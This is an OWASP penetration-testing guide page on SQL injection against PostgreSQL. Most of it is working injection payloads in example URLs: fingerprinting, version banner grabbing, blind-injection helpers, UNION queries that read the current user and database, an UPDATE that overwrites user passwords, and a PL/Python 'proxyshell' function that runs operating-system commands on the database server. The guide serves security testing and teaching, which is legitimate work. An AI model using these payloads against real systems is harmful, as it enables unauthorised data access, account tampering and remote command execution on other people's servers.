OWASP Backend Security Project Testing PostgreSQL

Overview

In this paragraph we're going to describe some SQL Injection techniques for PostgreSQL.

Description

Identifing PostgreSQL

When a SQL Injection has been found you need to carefully fingerprint backend database engine. You can determine that backend database engine is PostgreSQL by using one of the above peculiarities:

• String concatenation by using the operator: ||
• Casting by using the operator: ::

Examples:

 http://www.example.com/store.php?id=1 AND '11'='1'||'1'
 http://www.example.com/store.php?id=1 AND 1::char=chr(49)

PostgreSQL Peculiarities

• PHP Connector allow multiple statements to be executed by using ; as a statement seperator
• SQL Statement can be truncated on vulnerable URL by appending comment char: --.

Example:

   http://www.example.com/store.php?id=1--hello world 
   http://www.example.com/store.php?id=1;--hello world 

Banner Grabbing

Function version() can be used to accomplish this task.

select version():

PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)

Example:

 http://www.example.com/store.php?id=1
       Acme Biscuits

 http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1--
       PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)

Blind Injection

For blind SQL Injection you should take in consideration internal provided functions:

Inference

• String Length

  LENGTH(str)

• Extract a substring from a given string

  SUBSTR(str,index,offset)

• String representation with no single quotes

  CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)

Timing Attacks

pg_sleep() is all you need

Single Quote (un)Escape

String can be encoded, to prevent single quotes escaping, by using chr() function.

  * chr(n): Returns the character whose ascii value corresponds to the number
  * ascii(n): Returns the ascii value corresponds to the character

Let say you want to encode the string 'root':

  select ascii('r')
  114
  select ascii('o')
  111
  select ascii('t')
  116

We can encode 'root' with:

 chr(114)||chr(111)||chr(111)||chr(116)

Example:

  http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--

Current User

Current user can be retrieved with the following SQL SELECT statements:

 SELECT user
 SELECT current_user
 SELECT session_user
 SELECT usename FROM pg_user
 SELECT getpgusername()

Examples:

 http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL--
 http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--

Current Database

Native function current_database() return current database name.

Example:

 http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--

Attack Vectors

Shell Injection

plpython

PL/Python allow to code PostgreSQL functions in python. It's untrusted so there is no way to restrict what user. It's not installed by default and should be enabled on a given database by CREATELANG

• Check if PL/Python has been enabled on some databsae:

  SELECT count(*) FROM pg_language WHERE lanname='plpython'

• If not assuming that sysadm has allready installed plpython package try to enable:

  CREATE LANGUAGE plpythonu

• If all of the above succeded create a proxy shell function:

  CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return os.popen(args[0]).read() 'LANGUAGE plpythonu

• Have fun with:

  SELECT proxyshell(os command);

Example:

  http://www.example.com/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os;
return os.popen(args[0]).read()’ LANGUAGE plpythonu;-- 
  http://www.example.com/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--